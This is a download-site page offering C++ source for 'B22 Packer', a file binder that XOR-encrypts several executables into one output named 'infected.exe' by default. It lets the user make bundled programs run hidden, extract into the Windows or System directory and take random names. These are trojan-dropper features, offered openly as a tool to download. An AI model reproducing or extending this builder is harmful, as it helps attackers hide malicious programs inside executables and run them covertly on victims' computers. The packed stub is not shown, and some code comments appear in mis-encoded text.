⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 b22packer.cpp

📁 一个很好的文件绑定源码
💻 CPP
字号:
#include <windows.h>
#include <stdio.h>
#include <time.h>

#define STUB_DATA "b22.DAT"

struct filedata
{
   unsigned long offset;
   unsigned long length;
   char run; //fusson 閟 ha igen hogyan
   char parameter; //melyik param閠ern閘 fut le

   char name[30];
};


struct headerdata
{
 char numberoffile;
 char cryptokey;
};

char titkosit(char mit,char mivel)
{
    char temp=mit;temp ^= mivel;return temp;
}

//////// Main types

filedata files[254];
headerdata mainheader;

FILE *output;

unsigned long len;
BYTE *buffer;
int size;

/////////////////////////////////////////////////////////////////
// fixUp -- Truncates at "\r" or "\n" (which sometimes fgets leaves
// floating around)
void fixUp(char *s)
{
	if (!s)
		return;
	while (*s)
	{
		if ((*s=='\r')||(*s=='\n'))
			*s = 0;
		else
			*s++;
	}
}


int openoutputfile()
{
	FILE *input;
//	int i;
	
	output = fopen("infected.exe", "wb");
	if (!output)
	{
		printf("Error opening output file\n");
		return 0;
	}
	//Insert the stub
	input = fopen(STUB_DATA, "rb");
	if (!input)
	{
		printf("Error reading stub data file %s\n", STUB_DATA);
		return 0;
	}
	fseek(input, 0, SEEK_SET);
	buffer = (BYTE *)malloc(4096);
	while (!feof(input))
	{
		size = 4096;
		size = fread(buffer, 1, size, input);
		fwrite(buffer, 1, size, output);
	}
	fclose(input);
	//Insert padding
	fseek(output, 0, SEEK_END);
	len = ftell(output);

	buffer = (BYTE *)malloc(4096);
	return 0;
}

int writetofile(int number)
{
	FILE *input;
	int i;

	files[number].offset=ftell(output);

	input = fopen(files[number].name, "rb");
	if (!input)
	{
		printf("Error opening %s", files[number]);
		return 0;
	}
	//Get len
	fseek(input, 0, SEEK_END);
	len = ftell(input);

	printf("%s:%i bytes at %i offset.\n",files[number].name,len,files[number].offset);
	
	files[number].length=len;

	fseek(input, 0, SEEK_SET);
		size = 1;
	while (len && size && !feof(input))
	{
		if (len > 4096) size = 4096; else size = len;
		size = fread(buffer, 1, size, input);
		//Simple XOR encryption
		for (i=0; i<size; i++)
			buffer[i] ^= mainheader.cryptokey;
		fwrite(buffer, 1, size, output);
		len -= size;
	}
	fclose(input);

		for ( i = 0; i < 31; i++ ) 
		files[number].name[i]^= mainheader.cryptokey;
return 0;
}

int closeoutputfile()
{
fwrite(&files,sizeof(filedata),mainheader.numberoffile,output);
fwrite(&mainheader,sizeof(headerdata),1,output);
fclose(output);
return 0;
}

char GenerateKey()
{
return (rand() % 253)+1;
}

int ctoi(char c,int def)
{
	if (c==0)
		return def; else
	{
	     switch (c) 
		 {
			case'1':return 1;
			case'2':return 2;
			case'3':return 3;
			case'4':return 4;
			case'5':return 5;
			case'6':return 6;
			case'7':return 7;
			case'8':return 8;
			case'9':return 9;
			case'0':return 0;
		 }
		return def;
	}
}
/////////////////////////////////////////////////////////////////
// Main
int main( int argc, char *argv[ ])
{
	char programname[30];
	char newname[30];
	bool next;
	char code[4];
	char c1,c2,c3,c4;
	int i;
    next=true;

	srand( (unsigned)time( NULL ) );
	printf(" B22 Packer\n");
	printf("------------\n");
	printf(" by Northfox\n\n");
	printf("MORE EXE FILES ==> ONE EXE\n");
	printf("Output file name[default infected.exe]:\n");

	fgets(newname, 29, stdin); 
	fixUp(newname);

	if (newname[0]==0)
	{
		strcpy(newname, "infected.EXE"); 
	    printf("infected.exe\n");
	}


	mainheader.numberoffile=0;
	mainheader.cryptokey=GenerateKey();

	printf("The Cryptokey is %c .\n",mainheader.cryptokey);
	while (next)
	   {
		printf("The %i. file:\n",mainheader.numberoffile+1);
	
		fgets(programname, 29, stdin); 
		fixUp(programname);

		if (programname[0]==0)
			 next=false; else
		{
          printf("Run the program when \"extracted\"?\n");
		  printf("1-Yes,shown\n");
		  printf("2-Yes,hidden\n");
		  printf("3-No[default]\n");

		  fgets(code, 3, stdin); 
		  c1=code[0];

		  printf("Extract to :\n");
		  printf("1-Windows directory\n");
		  printf("2-System directory\n");
		  printf("3-Temp directory[default]\n");
		  printf("4-The given directory\n");

		  fgets(code, 3, stdin); 
		  c2=code[0];

		  printf("Change name:\n");
		  printf("1-No[default]\n");
		  printf("2-Yes,choose name from any directory\n");
		  printf("3-Yes,random generated(only a..Z)\n");
		  printf("4-Yes,random generated(numbers and a..Z)\n");

		  fgets(code, 3, stdin); 
		  c3=code[0];

		  printf("Operation system chooser:\n");
		  printf("1-No check[default]\n");
		  printf("2-Yes,extract under Win95/98/98SE/Me\n");
		  printf("3-Yes,extract under WinNt\n");
		  printf("4-Yes,extract under Win2000\WinXP\n");

		  fgets(code, 3, stdin); 
		  c4=code[0];


		  printf("Extract?\n");
		  printf("1-Yes,at every run[default]\n");
		  printf("2-254-Yes,at parameter 2..254\n");

		  int temp,temp2;
		  //fgets((char)temp2, 1, stdin);

		  temp=ctoi(c1,3)-1+4*(ctoi(c2,3)-1)+16*(ctoi(c3,1)-1)+64*(ctoi(c4,1)-1);
		  
		  files[mainheader.numberoffile].parameter=0;
		  printf("%u\n",temp);

		  files[mainheader.numberoffile].run=(byte)temp;

		  for ( i = 0; i < 29; i++ ) 
		    files[mainheader.numberoffile].name[i]=programname[i];

		  mainheader.numberoffile++;
		}
	   }

	//t鰉鰎韙閟 閟 csomagol醩

	openoutputfile();
	for ( i = 0; i < mainheader.numberoffile; i++ ) 
		writetofile(i);
	closeoutputfile();

	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -